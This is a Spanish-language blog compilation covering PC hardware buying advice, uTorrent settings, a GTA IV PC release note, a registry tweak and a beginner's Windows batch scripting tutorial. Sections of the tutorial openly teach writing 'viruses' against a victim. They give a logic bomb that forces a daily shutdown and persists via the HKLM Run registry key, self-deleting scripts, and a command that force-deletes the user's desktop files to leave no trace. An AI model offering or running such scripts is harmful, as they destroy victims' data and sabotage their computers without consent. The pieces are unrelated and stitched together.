Publicidad:
Terra
La Coctelera

ELEGIR NUESTRO PC

Ala hora de elegir nuestro hardware del pc tenemos varios problemas.

Os dejo las claves.

ELECCION DE HARDWARE

Con el siguiente lo que intentamos es daros unos consejos y una especie de guía para la adquisición de ordenador nuevo.
Ante todo nuestro consejo es que compreís el ordendaor por piezas, hay tiendas en las que te venden las piezas por separado y puedes decirle sque lo monten.

Esto tiene su razon, hay fabricanes que te venden un ordenador con una placa de una marca, pero si vas a una tienda, a mirar la misma placa podreis que por ejemplo la frecuencia del bus es mayor, ¿Porque?.

Es muy sencillo, las empresas que venden ordenadore bajan las prestaciones de las piezas para abaratar los costes.

Veamos los factores que hay que tener en cuenta, a la hora de elegir las piezas de nuestro PC:

PROCESADOR

En base a ello, lo siguiente es la eterna pregunta: ¿Intel o AMD?
Bueno, normalmente Intel acostumbra a ser un poco mas caro, pero poco, eh!!
Hasta ahora, AMD ha llevado la delantera en todo, 64 bits, doble núcleo, menos temperatura (No menos por 3 grados, si no por unos cuantos mas)...
Pero ahora, nuestro querido Intel, con sus Core 2 Duo, ha dado en el clavo, son mucho mucho mucho mas potentes, a velocidades inferiores y con tecnología de fabricación mas moderna, con lo cual se calentan menos, aun asi, se calientan mas que los AMD 64, pero vamos, que 35º con un ventilador de lo mas humilde, no esta nada mal.
Bueno, veamos los zocalos:
Intel: (775), no tiene patillas, estas estan en la placa, dijeron que asi habia menos interferencias a altas frecuencias. Soportan taton memoria DDR, como DDR2, y el controlador de memoria lo tienen fuera del procesador, aun asi, los Core 2 Duo, tiene mejor transferencia de memoria que los AMD con controlador en el procesador.

AMD: Aquí tenemos 3 sockets, el 754, la gama "baja",entre estos procesadores están los semprones, y hace un tiempo salieron los primero Athlon 64.
Después, salió el 939, que era la gama alta, nativo para los Athlones, entre otras cosas tiene Dual Channel "mejorado", eso, y mas cache, con lo que consigues mas rendimiento.
El ultimo socket salio hace cosa de 2 meses, se llama AM2, entre otras cosas tiene, si mal no recuerdo, el controlador de memoria integrado, y ademas acepta DDR2, cosa que los otros de AMD no.

Bueno, sabiendo esto, toca elegir, yo personalmente, ahora me cogeria un Intel, sin dudarlo, merece la pena en este caso pagar un poco mas.

PLACA MADRE

Bueno, esta pieza es el pilar en el cual se sostienen las demás piezas.
Tenemos varias marcas, de las cuales, como todo, cada uno elegirá la que mas le guste.
Tenemos Asus, Gigabyte, Asrock, Abit, MSI entre otras.
-Asus, son muy robustas, pero como contra es que le suelen dar mas voltaje al procesador del que le correspone (Entre un 0.05% ~ 0.1%), si,dan mas rendimiento, pero puede acabar o acortar la vida de nuestro procesador.

-Gigabyte es el eterno rival, parecidas a las ASUS, pero con la contra de que las antiguas (Y algunas modernas) se calientan como ningunas!! Tenian una cosa que me gustaba mucho y era la doble Bios, lastima que cada vez economicen mas...

- Asrock es la 2ª marca de Asus, la gama baja, pero con muchos extras. Lo bueno que todo lo que tienen esta super testeado, asi que no suelen fallar para nada. Nada mas que decir de ellas.
- Abit, son de lo mas caro que hay para usuario (Aunque haya mas caras...), para mi las mejores, voltajes correctos, buenas, robustas, todo muy bien probado, punteras en todo... no hay malas palabras para ellas!!!A, eso si, cuando te fallan, TE FALLAN.

- MSI, la verdad es que no las conozco mucho, solo decir que en su dia eran de lo mejor, ahora estan como que de 2ª marca, o cosas baratas, pero con muchos extras.
Una buena alterativa si no queremos gastar demasiado.

Por cierto TODAS acostumbran a tener la tarjeta de sonido integrada (Ya suelen ser como poco 5.1, es decir con sonido surround), y la tarjeta de red. Ademas, otro factor a tener en cuenta son las conexiones que dispone nuestra placa, actualmente, la conexión que mas debemos tener en cuenta son los "USB", que ya acostumbran a venir entre 6 y 10, dependiendo cuanto nos gastemos.
Personalmente, las placas que mas me gustan son Abit, porque por un poco mas de dinero podemos tener bastante mas rendimiento.
Debo decir, que si podemos ver las placas físicamente, elijamos una sin ventilador alguno, en su lugar un buen disipador, dado que asi reduciremos el ruido.

MEMORIA RAM

Esta es una memoria intermedia entre el procesador, que es muy rapido, y el disco duro, que por mucho que queramos es mas lento; bien, aquí hay 2 cosas a tener en cuenta, la velocidad (Damos por hecho que todos los equipos que compramos en este año carecen de memoria SDRAM), que puede ser de 266, 333, 400 (Hasta aquí son DDR), y después estan las nuevas DDR2, con velocidades de 533, 667, 800 y unas muy caras a 1000 Mhz. Bien, sigamos, una vez que elijamos el modelo que lleva nuestro equipo, tenemos que elegir la "cantidad" de memoria, esta oscila ya entre los 512 MB y los 2 GB de media, dependiendo de lo que nos queramos gastar, optaremos por una opcion u otra.
Yo personalmente, para el equipo que estoy montando aquí elegiria 1 GB Corssair DDR2 800 Mhz, pero como es muy cara nos quedaremos con 1 GB Kignstom 667 Mhz, mas economico y tambien de buena calidad, aunque no podremos equiparalos.

REFRIGERADOR

En funcion del procesador debemos elegir su correspondiente refrigerador, que no es otro mas que el que le quita parte de la temperatura. En nuestra eleccion debemos tener en cuenta la relacion "Cuanto refrigera/Ruido". Los hay que enfriarian el infierno, pero claro parece que el ordenador va a despegar del suelo, o al contrario, que no se oye, pero nuestro ordenador se quema poco a poco. La marca Tacens es muy buena en este tema, hace refrigeradores muy potentes y bastante silenciosos, lo cual los pone como una buena alternativa por poco mas de 30 €. Ademas, vale tanto para AMD como para Intel.

TARJETA GRAFICA

Bueno, esta selección es muy personal, dado que en funcion de que vallamos a usar nuestro equipo nos decantaremos por alguna marca y modelo concreto. Las marcas principales son "ATI" y "NVIDIA". Personalmente, la 1ª la destino mas para jugar, mientras que la 2ª es mas para diseño (Normalmente), como aplicaciones CAD y cosas asi. Tambien hay que tener en cuenta cuanta memoria tiene, y de que tipo, DDR, DDR2, DDR3 o las nuevas DDR4.Cada cual, mas cara que la anterior...
Otro factor que podemos tener en cuenta son los "bits" de comunicación entre la memoria y el procesador de la grafica, a mas obviamente mejor.

Una buena eleccion sera una Gigabyte(Esto es la marca del ensamblador, es decir, la empresa que monta el Chip principal) ATI X1600 PRO de 256 MB DDR2.

DISCO DURO

Bueno, una de las cosas que hay que tener en cuenta es la capacidad, que rondan desde los 80 hasta los 500 GB (Hay de mas, pero ya son prohibitivos), y después la conexión que tiene el disco, que puede ser IDE, el de toda la vida, o SATA, el nuevo, mas rápido, (El SATA 2 mas rápido todavía).
Hay 2 marcas en el mercado domestico, una es Seagate, y la otra Maxtor. La 1ª es mas silenciosa, y ademas se calienta menos, y según dicen un poco (Poquisimo) mas lentos. La otra, por lo contrario, puede ser un poco mas rapida, pero se calientan mas (Lo se por experiencia), y hacen bastante ruido.
Mi eleccion en este apartado esta muy claro, un Seagate 320 GB SATA 2.

UNIDAD OPTICA

Bueno, donde metemos nuestros "CD´s", para leerlos o grabarlos. Actualmente, por el precio de las unidades regrabadoras de DVD, no voy a explicar mas que ellas. Casi todas (Todavía no he visto a la venta con la conexión SATA) tienen la conexión IDE. Un factor a tener en cuenta es la velocidad de grabacion y en que medios, en DVD, lo "rapido" son las nuevas a 18X, mientras que en CD son de 52X.
yo, en este aspecto, normalmente, no me fijo, dado que TODO lo grabo a la velocidad mas baja que puedo. Pero por la diversidad de marcas que encontramos, mi eleccion seria una Pionner, que dan muy buen resultado por 2€ mas que una LG, que aunque tambien es buena, no pueden equipararse.

CAJA

Bueno, ahora hay que tener en cuenta que todo lo seleccionado anteriormente debe de entrar en algun lado, pues bien, esto es cosa de la "caja". A parte de la estetica, que es cosa de cada uno, debemos fijarnos sobre todo que tenga espacio de sobra para todo lo que hemos pensado; eso, y también que sea robusta, digo esto, porque si la caja es "mala", pueden vibrar los Discos duros y acortar su vida util, asi que por favor, no seamos tacaños, que algo bueno esta por menos de 80€, y seria una eleccion bastante buena.

FUENTE DE ALIMENTACION

Esto es el transformador de electricidad, asi que algo bueno, puede librarnos de algun susto posterior. Normalmente, las cajas de gama baja o media, tienen una fuente propia, pero claro, por lo que valen no esperemos que sean buenas, se calientan, no dan bien los vatajes a nuestros equipos, se quedan cortas de rendimiento....
asi que si podemos, cambiemoslas por alguna mejor. Otra cosa a tener en cuenta seria la potencia que tienen, con el equipo que estamos montando, con una de 450W (Wattios), seria suficiente. Otra vez, elegiria la marca Tacens, dado que son silenciosas, y dan unos grandes resultados a buen precio. Una bastante maja seria una TACENS VALEO 450 SMART. La cual, tiene la "peculiaridad" de poner solo los cables que nos interesan, de forma que no molestan los que estan sin usar, mejorando asi el flujo de aire de nuestro equipo.

Con todo esto, veamos que ha sido el equipo que hubiese montado. Seria un equipo bastante robusto en todos los aspectos, y a buen precio.

Procesador: Intel Core 2 Duo E6400 2.4 Ghz. (210.92 €)
Placa Madre: Asus P5b Deluxe Sk775 Ddr2 Pcx. (No he encontrado economico el precio de las Abit) (192.02 €)
Refrigerador: Tacens Gelux. (30.28 €)
Memoria RAM: 1 GB DDR2 Kingstom 667Mhz. (118.45 €)
Tarjeta grafica: Ati Gigabyte X1600 Pro Pcx DDR2. (105 €)
Disco duro: Seagate 320 GB SATA2 (Me gusta este modelo porque tiene 16 MB de cache, algo que incrementa el rendimiento). (102 €)
Unidad Optica: Pionner DVR- 111D.(37.12 €)
Caja: 6AR1. (69.81 €)
Fuente de alimentación: Tacens valeo 450 smart. (70 €)

PRECIO DEL EQUIPO SIN MONTAR: 933,6 €uros

(Ademas, todavía nos faltaria instalarle una disquetera de toda la vida y un lector de tarjetas, que no estan nada mal, y todo ello nos saldria por 15 € mas, asi que no es un gran embolso)
Luego, si queremos que la tienda los monte, debemos añadir el precio del montaje.

NOTA: Los precios son aproximados.

EDITOR GIMP

Hoy os traigo el editor de imagenes gimp las ultimas versiones.

Tambien os dejare tutoriales para que aprendais a usarlo es muy facil comparado con photoshop y podemos obtener los mismos resultados.

Descargar para windows aqui

Si quieren descargarlo para cualquier otro sistema operativo pulsar aqui

TUTORIALES:

Os dejo unos cuantos:

TUTORIALES

fuente: http://www.gimp.org.es/

No dudeis en comentar o preguntar a oscarfisica2@yahoo.es

Asi os puede llegar ir utorrent cuanto os lo

Asi os puede llegar a ir el utorrent en cuanto os lo configureis esta configuracion sirve para todas las velocidades ami me va asi teniendo el ares tambien descargando!i con 2mg de velocidad de bajada i 256 de subida!I esta prueba sta hecho con el juego del gta IV k son 14gb i conmenos gigas mas rapido os ira!

Bueno pasamos ala configuracion!

Vamos a opciones preferencas i a conexioon!

i colocamos lo mismo k aki!

Aora pasamos a bandwich i lo ponemos iwal k aki!

Aora en bittorrent i lo ponemos todo iwal!

aora a queieing! i lo ponemos todo iwal!!

I de ahi saltamos a advanced!

i cambiamos todo por lo mismo k pone ahi!algunas muchas cosas ya stan bien puestas!

Bueno pues esto es todo espero k os sirva!si kereis algun otro manual sobre algo me lo decis!!un saludO!

Manual de instalación y configuración utorrent.

Manual de instalación y configuración utorrent

Más manuales p2p

En este artículo os pongo una configuración para Utorrent para los distintos tipos de ADSL (desde 1MB hasta los 20 MB). La he estado probando un tiempo y he conseguido tener medias constantes entre 70/90 Kb y con picos de más de 100 con ADSL de 1 MB. Aunque la configuración está basada sobre la versión 1.5 podemos adaptarla a cualquier otra versión posterior. Además, para todos aquellos que tengáis Windows XP con el Service Pack 2 instalado tendréis que instalar el parche para aumentar las conexiones. Tenéis el Tutorial de cómo hacerlo en la siguiente dirección http://www.adslzone.net/article501.html . He esta configuración probado sin ningún firewall (hardware y software), con el antivirus NOD32 y tres torrents en descarga simultánea.

Configuración para 1 MB:

Image

Image

Image

Los demás valores son los que vienen por defecto.

Nota : si nos aparece un mensaje en la parte inferior de la ventana de Utorrent indicándonos que la conexión está saturada tendríamos que bajar el valor net.max_halfopen hasta que desaparezca dicho mensaje. También si notamos que nuestro router se bloquea y/o tenemos dificultades en la navegación tendremos que bajar los valores de: Máximo global de conexiones y Número máximo de pares conectados por torrent.
Tener como máximo 3 descargas simultáneas.

CONFIGURACIÓN PARA LOS DISTINTOS TIPOS DE ADSL

Todos los apartados tendrás los mismos valores que se indicaron anteriormente para todas las conexiones a excepción del apartado "Velocidad máxima global de subida KB/s" que aparece en Preferencias/Red. Dicho valor vendrá dado por la velocidad de nuestra conexión:

ADSL 1MB / 300 kbps
Velocidad máxima global de subida KB/s: 22 KB/s

ADSL 2MB / 300 kbps
Velocidad máxima global de subida KB/s: 22 KB/s

ADSL 3MB / 320 kbps
Velocidad máxima global de subida KB/s: 22 KB/s

ADSL 4MB / 512 kbps
Velocidad máxima global de subida KB/s: 35 KB/s

ADSL 4MB / 300 kbps
Velocidad máxima global de subida KB/s: 22 KB/s

ADSL 4MB / 150 kbps
Velocidad máxima global de subida KB/s: 12 KB/s

ADSL 6MB / 512 kbps
Velocidad máxima global de subida KB/s: 35 KB/s

ADSL 8MB / 512 kbps
Velocidad máxima global de subida KB/s: 44 KB/s

ADSL 10MB / 320 kbps
Velocidad máxima global de subida KB/s: 22 KB/s

ADSL2+ 20MB / 1 Mbps
Velocidad máxima global de subida KB/s: 70 KB/s

Saludos.SI kiere k les envie los parches enviarme un comentario cn su correo electroniko i yo se los envio sin ningun problema!

Ya tiene fecha y requisitos!

Ya es oficial, el juego desarrollado por Rockstar North, Grand Theft Auto IV, verá su lanzamiento para PC pero lamentablemente los usuarios de Mac se volverán a quedar si un gran juego para que poder disfrutar en su ordenador.

guia gta ivTras el lanzamiento del juego para las consolas PlayStation 3 y Xbox 360 la compañía desarrolladora del juego, Rockstar Games, ha confirmado de manera oficial una nueva versión del juego Grand Theft Auto IV pero en esta ocasión para PC excluyendo a los usuarios de Mac.

Seguramente ya conocéis de sobra las características de Grand Theft Auto IV (sobre todo su violencia que está haciendo que varias asociaciones pidan la retirada total del juego)y os preguntaréis que traerá de novedosos esta nueva versión para PC, por ello, el equipo de Rockstar Games ha anunciado que Grand Theft Auto IV PC contará con un nuevo y mejorado modo multijugador aunque se desconoce el precio del juego así como los aportes extras (esta versión verá la luz varios meses después de la versión para consolas).

Lo que sí que podemos confirmar son las fechas oficiales para el lanzamiento. Para Estados Unidos el juego verá la luz el día 18 de noviembre mientras que para Europa será el día 21 de noviembre. ¿Por qué tres días de diferencia? No lo sabemos, pero seguro que más de uno sabrá como descargar Grand Theft Auto IV PC y lo tendrá instalado en su PC antes del lanzamiento oficial en Europa…ya nos contará.

gta 4gta iv ps3

sobre este articulo Lanzamiento Grand Theft Auto IV - GTA 4 - PC

Al juego se podra jugar bastante bn con estas caracteristicas:

Procesador intel o AMD major de 2.0ghz

Targeta grafica Ati o Nvidia Gforce 7600 o superior cn 512mb dedicdos minimo.

Disco duro de mas de 320Gb

Memoria ram 2 o mas gb de memoria ram.

I cn el windows xP.

I con una buena panalla panoramic ao cn muy buena resolucion i unos benos altavoces la sensacion real sera impresionante.

Asi que no olvides la fecha de entrega en españa el 21 de noviembre.

e AKi uno de los mejores trucos para ACELERAR EL INTERNET!

Trucos Windows xp
Para Navegar mas rápido en Internet la velocidad de acceso a servidores HTTP, y visualizar las páginas Webs mas rápdio, sigue estos pasos:

Haz clic en el botón Inicio y luego sobre Ejecutar, escribe Regedit y pulsa el botón Aceptar.

Una vez estás en el editor del registro busca la siguiente cadena:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\InternetSetting

En la ventana de la derecha, crear o modificar los valores DWORD siguientes:

MaxConnectionsPerServer: doble clic sobre ese valor y escribir 4 decimal (para ADSL escribir 20)

MaxConnectionsPer1_0Server : doble clic sobre ese valor y escribir 8 en decimal (para ADSL escribir 20)

Esos valores corresponden al número de demandas simultáneas de acceso a un servidor de tipo 1 o 1.1. Cerrar Regedit y reiniciar Windows.

Iniciacion en Batch desde "0"

Indice
1. ¿Que es Batch?
1.1 Codigos Basicos y Pequeña Practica Iniciativa
1.2 ¿Como guardo el Batch?
2. Variables
2.1 Variables del entorno
3. Bombas logicas y Virus en Batch
4. IF (not) & IF (NOT) EXIST
4.1 Aplicacion del IF a las variables y menúes
5. Bucles
6. Mejorar el Diseño de menúes (idea original de Espectro infernal)
7. Automatizando Tareas (AT)
8. Utilizacion de comandos de red
9. Redirecciones
10. %0, %1, etc.
11. Manejo del Registro

I---------------------------------------------I

1. ¿Que es Batch?
Batch no es un lenguaje de programacion en si. Sino un archivo de procesamiento por lotes que permite utilizar comandos de CMD (o simbolo de sistema), tanto como variables y condiciones como IF, IF exist, etc.
Se programa en el Block de notas o cualquier tipo de editor de texto plano. NO usen ningun editor de texto como word o wordpad porque eso ya no es texto plano sino enriquesido y no funcionaria.
Como compilador usaremos tambien el block de notas con el procedimiento explicado en el capitulo 1.2

I---------------------------------------------I

1.1 Codigos Basicos y Pequeña Practica

Lo primero es abrir el Block de Notas. Inicio > Todos los progrmas > accesorios > Block de Notas

Los comandos basicos de batch son los siguientes:

Código:
   
     *ECHO: imprime un texto en pantalla
     *@ECHO OFF: oculta los comandos que programamos para que cuando se inicie el bat no se puedan ver los codigos y solo el programa.
     * DIR: muestra un listado con el contenido de un directorio.
     * TYPE: muestra el contenido de un archivo en pantalla.
     * COPY: copia archivos en otro lugar.
     * REN (RENAME): renombra archivos.
     * DEL: borra uno o varios archivos (con posibilidad de recuperarlos mediante la orden UNDELETE, salvo que el lugar del archivo o    archivos borrados hubiese sido utilizado con posterioridad).
     * MD o MKDIR: crea un nuevo directorio.
     * CD o CHDIR: cambia el directorio actual por el especificado.
     * RD o RMDIR: borra un directorio vacío.
     * DELTREE: borra un directorio con todo su contenido, incluidos subdirectorios (apareció en las últimas versiones)
     * CLS: limpia la pantalla.
     * HELP: ayuda sobre las distintas órdenes.
     * SORT: ordena Datos
     *SHUTDOWN: apaga el ordenador
 

Ahora nos vamos a la practica

Abres el Block y escribes el siguiente codigo.

Código:
@echo off
 title Primer Programa
 echo presiona una tecla
 pause
 echo hola
 pause > nul
 exit
  

Aca una screen del codigo anterior luego de ser compilado y funcionando:

Ahora expliquemos el codigo que copiaste.

Código:

este codigo lo que hace es ocultar todos los comando que vas a utilizar en el programa, sino nos apareceria lo que pusimos y la victima se daria cuenta de que es un virus en caso de que lo sea.

Código:

este es el nombre que aparece en la ventana del DOS cuando ejecutas el programa.

Código:

este code sirve para "imprimir" o mostrar lo que es cribamos en la pantalla.
por ejemplo
echo hola
en la pantalla apareceria "hola"

Código:

esto crea una pausa en el programa y tienes que presionar una tecla para proseguir.

Código:

esto es lo mismo que lo anterior pero unicamente que no muestra el cartel en la pantalla que dice "presione un tecla para proseguir"

I---------------------------------------------I

1.2 ¿Como guardo el Batch?

Primero ponemos el codigo en el block de notas luego pulsamos Archivo>Guardar como...

Luego en el nombre ponemos el nombre que le queramos poner y los mas importante tiene que tener la extension .bat Tambien nos aseguramos que abajo diga "todos los archivos"

I---------------------------------------------I

2. Variables

DEFINICION

Las variables se usan en la mayoria de los lenguajes de programacion(diria en todos pero no conosco todos [borracho]). Son datos que pueden ir cambiando a medida que el programa corre. Las variables pueden adquirir diferentes valores alfanumericos (letras y numeros), tambien se nos permite sumar variables o imprimirlas en pantalla. O incluso realizar operaciones matematicas.

Cuando llamas una variable en batch siempre se encierran entre "%" por ejemplo tenemos la variable zero, cuando la llamamos seria %zero%

A LA PRACTICA

comenzaremos examinando el code siguiente:

Código:
@echo off
 title variables
 echo bienvenido al ejercicio para aprender variables
 echo .
 echo presiona una tecla para continuar
 pause > nul
 set /p nombre=como te llamas?
 set /p edad=cuantos anios tenes?
 set /p comida= que comes?
 pause > nul
 echo hola %nombre%
 echo veo que tienes %edad% anios verdad?
 echo como rayos te puede gustar %comida%?
 pause > nul
 exit
 

Ahora Examinemos el code:

Código:

con esto estamos haciendo que el archivo le pregunte al usario el valor de la variable nombre. Set es el comando para llamr variables.
/p significa que el usuario le pondra el valora la variable por medio de una pregunta.
"nombre" ahi esta el nombre dela variable.
"=como te llamas?" es la pregunta que se le hara al usuario.

He aqui un modelo standar de variable

Código:

tambien se puede otorgar un valor a la variable sin preguntarle al usuario. por ejemplo

Código:

---

Código:
echo hola %nombre% veo que tienes %edad% años verdad? como rayos te puede gustar %comida%? XD
 exit

Aqui imprime en pantalla un texto usando las variables, como mencione al principio las variables se llaman entre "%". Entonses el batch imprimira en pantalla el valor de las variables nombre, edad y comida adicionadas con el texto expuesto.

este seria el ejemplo del programa corriendo asi se entiende mejor:

Código:
Bienvenidos al ejercicio para aprender variables
 .
 Presione una tecla para continuar
 
 como te llamas? holy
 que edad tienes? 14
 que comes? nada
 
 hola holy veo que tienes 14 años verdad? como rayos te puede gustar nada? XD
 
I---------------------------------------------I

2.1 Variables del entorno
hay ciertas variables que nos ayudaran a la hora de hacer programas o virus para asegurar (o subir mucho la probabilidad) que funcionen las ordenes del batch que hagamos. Por ejemplo:
nosotros progrmamamos un batch que busca si tenes los archivos "cmd.exe" y "notepad.exe"
logicamente le podremos que busque en la ruta c:/windows/system32/
pero que pasa si la victima no tiene instalado win en c: y lo tiene instaldo en la particion e:? claro el batch dira que no estan pero en realidad si estan pero en otra unidad entonses para evitar este tipo de errores usaremos las variables del entorno que son las siguientes:

Código:
%ALLUSERSPROFILE% ------> todos los usuarios
 %APPDATA% ---------> datos de programa
 %PROMPT%%TEMP% y %TMP% ---------> temporales
 %USERDOMAIN% -----------> obtener dominio
 %USERNAME% --------------->nombre del usuario Actual
 %USERPROFILE% ---------------> usuario configuracion
 %programfiles% ---------------> archivos de programas
 %systemroot% ----------------> windows
 %homedrive% --------------> disco Raiz

para este caso nos serviria la variable de "%homedrive%". Pongamos el ejemplo con un simple batch que ejecuta el notepad

Código:
@echo off
 title pruba
 echo ahora se ejecutara el notepad
 %homedrive%/windows/system32/notepad.exe
 exit

en caso de que tubieramos en el disco c:

eso reemplaza la unidad, en conclusion son comodines que nos ayudan a la hora de progrmar batch.

I---------------------------------------------I

3. Bombas Logicas y Virus en Batch

Es muy facil crear codigos que perjudiquen o molesten a una victima que ejecute nuestro batch. A continuacion les mostrare una forma de crear una pequeña bomba logica en batch que hara que se apage el ordenador de la victima a las 17:00 todos los dias.

Primero aprender la definicion concreta de Bomba Lógica:
Para ver este enlace Registrate o Inicia Sesion

Bomba Logica

Las bombas logicas complejas pueden programarce en lenguajes mas complejos como Visual Basic. Pero como tu solo buscas algo simple para [Censurado] a alguien te recomiendo batch.

Mira este code

Código:

ahora explicamos el code

Código:

el mismo nombre te lo dice, apaga el equipo

Código:

activa apagar el equipo

Código:

Fuerza a las aplicaciones activas a cerrrarse

Código:

Es el tiempo en el que tardara en apagarse en ordenador.(xx representa el numero que quieras)

Código:

muestra un mensaje con lo que quieras (donde esta la x pones el mensaje)


entonses si creamos un batch que se inicie con windows y apage la pc de la victima a las 17:00 joderemos mucho a la victima.

Código:
@echo off
 AT 17:00 shutdown -s -f -t 2 -c "Jodete" >> c:/windows/system32/windosx.bat
 REG ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v sysin2 /t REG_SZ /d "c:/windows/system32/windosx.bat"
 exit
 

lo que haria esto en "teoria" seria apagar el pc en 2 segundos a las 17:00 de cada dia y agregarse al registro de windows, osea que su pc se apagara en 2 segs. todos los dias a las 17:00.

I---------------------------------------------I

4. IF (not) & IF (NOT) EXIST

IF es un comando que permite verificar algo. Si es verdadero o no hace una accion determinada. Su principal rol en los batch es verificar si alguna variable es "tal" valor numerico. Aqui mostraremos un claro ejemplo de su funcion que no es para nada complicada

Código:
@echo off
 set /p var=cuanto es 1+1??
 if %var%==2 (echo bien) else echo mal
 pause

En cambio IF NOT es exactamente lo contrario, verifica que algo no sea = a un valor espesificado. Aqui se ve claramente:

Código:
@echo off
 set /p var=cuanto es 1+1??
 if not %var%==2 (echo mal) else echo bien
 pause
 

IF (NOT) EXIST verifica que exista cierto archivo. Tiene un funcionamiento identico al IF (NOT), solo que trabajo sobre archivos y no valores alfanumericos. Lo verificamos con el siguiente code:

Código:
@echo off
 if exist c:/windows/system32/explorer.exe (echo tenes explorer.exe) else echo no tenes explorer.exe
 pause > nul
 

I---------------------------------------------I

4.1 Aplicacion del IF a las variables y menúes
IF nos ayuda a la hora de crear menúes. Ya que podemos asignarle un numero a cada opcion del menú y asi cuando el usuario ingrese cierto numero nos llevara al lugar designado. No se entiende totalmente en palabras por eso les he formulado este simple code que lo explica.

Código:
@echo off
 :menu
 echo 1. ping a google
 echo 2. ping a wikipedia
 set /p var=a quien quieres hacer un ping??
 
 if %var%==1 (goto goo)
 if %var%==2 (goto wiki)
 if %var%=="" (goto menu)
 
 :goo
 ping www.google.com
 pause
 goto menu
 
 :wiki
 ping www.wikipedia.com
 pause
 goto menu
 

I---------------------------------------------I

5. Bucles
5. Bucles
Los bucles son comandos que se ejecutan muchas veces, generalmente indefinidament e. Estos bucles se pueden realizar muy facilmente con etiquetasm tal como en el siguiente ejemplo.

Código:
@echo off
 :bucle
 echo holy manda!
 goto bucle
 

como ven si lo prueban, se ejecutara el comando infinitamente hasta que saquemos el programa.
Pero tambien se puede hacer que el comando se ejecute un numero de veces determinado con el uso de una variante del SET y el IF. Aqui se los muestro con un clarisimo ejemplo.

Código:
@echo off
 set var=10
 
 :bucle
 if %var%==0 (goto exit) else set /A var=%var%-1
 echo hola viteh!
 goto bucle
 
 :exit
 echo hola
 pause
 exit
 
I---------------------------------------------I

6. Mejorar el Diseño de menúes (idea original de Espectro infernal)

Hay simbolos que al imprimirlos mediante la variable hecho cambian de forma. Con ciertos caracteres tales como "Í" se pueden crear tablas,
columnas, etc. Aqui les mostrare de que se trata esto. Nos sirve para darle nuevos look's a los convencionales menus de "1. opcion uno".
Aclaro que la idea original es de espectro infernal, yo solo adapto lo que se y lo transmito.
El simbolo "Í" que anteriormente les mostraba como ejemplo quedaria asi luego de imprimirlo:
Como ven parece un igual, pero tiene una diferencia, no deja espacio entre caracteres lo que permite una cadena de =. Tal como la siguiente imagen:
Hay mas codigos. Les dejo el terminado para que prueben y vean el resultado de convinaciones de estos caracteres.
Tambien pueden crear sus propias tablas personalizadas . Los caracteres mas usados son "ÿ,Í,ÿ,¼,»,º."

Código:
echo ÿÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
 echo º - PRIMERA OPCION   º
 echo ÿÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
 

I---------------------------------------------I

7. Automatizando Tareas (AT)
El comando AT permite automatizar la ejecucion de un comando para una hora y/o fecha determinada. Por ejemplo qeu el dia 24/12/07 a las 14:45 borre todos los accesos directos del escritorio. O que a las 5 de todos los dias se apague el pc. O tambien que se ejecute algo todos los 24. Aqui les mostrare unos ejemplos y veran los facil que es.

Código:
@echo off
 at 4:00 shutdown -s -f -t 01
 pause > nul
 exit

Código:
@echo off
 at /next:4 4:00 shutdown -s -f -t 01
 pause > nul
 exit
Código:
@echo off
 at /every:4/2 4:00 shutdown -s -f -t 01
 pause > nul
 exit

Otra forma un poco mas compleja de ejecutar una tarea todos los dias a una hora es agregar el comando a la clave run del registro para que inicie con windows. No es para nada complicado. Lo unico seria agregar un add reg.

Código:
@echo off
 rem este code contiene una redireccion, estan explicadas en un prox capitulo.
 at 3:00 shutdown -s -f -t 05 > c:/shut.bat
 REG ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v sysin2 /t REG_SZ /d "c:/shut.bat"
 del %0
 exit

Si ponemos una tarea accidentalment e, por ej.

Código:

podemos usar un parametro que nos permite eliminar las tareas. Esto se realiza mediante la agregacion de el parametro /delete "id de tarea". Si se omite el id, se borraran todas.

Código:
@echo off
 at /delete
 exit

I---------------------------------------------I

8. Utilizacion de comandos de red

Los comandos de red son muy usados. Noy hay mucho que decir, son para diversas tareas tales como pings, fingers, netbios, telnet, etc. Aqui les dejo una liste de comandos con su explicacion.

Código:
FTP
 Iniciar el cliente ftp
 
 IPCONFIG parámetros
 Mostrar las características de configuración de IP
    /all -> muestra toda la información de configuración
    /release adaptador -> libera la ip del adaptador especificado
    /renew adaptador -> renueva la ip para el adaptador especificado
    /flushdns -> purga la caché de resolución de dns
    /registerdns -> actualiza las conexiones dhcp y vuelve a registrar los nombres dns
    /displaydns -> muestra el contenido de la cache de resolución dns
   
 NBTSTAT
 Hace un estado de la red por netbios
 Tiene muchos parámetros. Consultarlos mediante nbtstat /?
 
 NET parámetros
 Comando para el uso de redes netbios
    USE \\equipo\recurso -> para acceder a unidades lógicas compartidas. Se le asignará un nombre de unidad y estará disponible como una unidad mas del sistema.
    USE \USER: dominio\usuario para acceder a un dominio
    USE unidad /DELETE eliminar el acceso a unidad compartida.
    SHARE trayecto /REMARK texto -> para compartir un recurso en red
    START -> para comenzar sesión netbios
    STOP -> para detener netbios
 
 NETSTAT
 Para ver el estado de la red.
    -a -> mostrar todos los puertos y conexiones
    -n -> mostrar números de puertos y direcciones
    -r -> mostrar la tabla de rutas
    -s -> mostrar estadísticas por protocolo
    -p protocolo-> protocolo puede ser tcp o udp. muestra las conexiones activas
 
 NSLOOKUP dominio
 Muestra el dominio, su ip, dns donde se resuelve y sus alias
 
 PING
 Enivia paquetes a un host para comprovar su disponibilidad
 
 TELNET ip puerto
 Utilizar el protocolo telnet para acceso a un servidor exterior
 
 TRACERT destino
 muestra el camino que se toma hasta llegar a la ip
 

I---------------------------------------------I

9. Redirecciones
Las redirecciones tienen una tarea simple y definida. Redireccionar comandos. Nos sirven por ejemplo para redireccionar un comando a un archivo.

Código:
@echo off
 shutdown -s -f -t 01 >> "c:/shut.bat"

En este caso creara el file "shut.bat" con el contenido redireccionado . Nos sirve para crear por ejemplo un virus que se autoelimine para no dejar rastros.

Código:
@echo off
 del /f /q c:/documents and settings/%currentuser%/escritorio/*.* > "c:/windows/system32/sysdoc.bat"
 del /f /q %0
 rem comando %0 refiere al mismo archivo, explicado en el proximo capitulo

Tambien se puede redireccionar a un dispositivo. Por ejemplo a la impresora con:

Código:

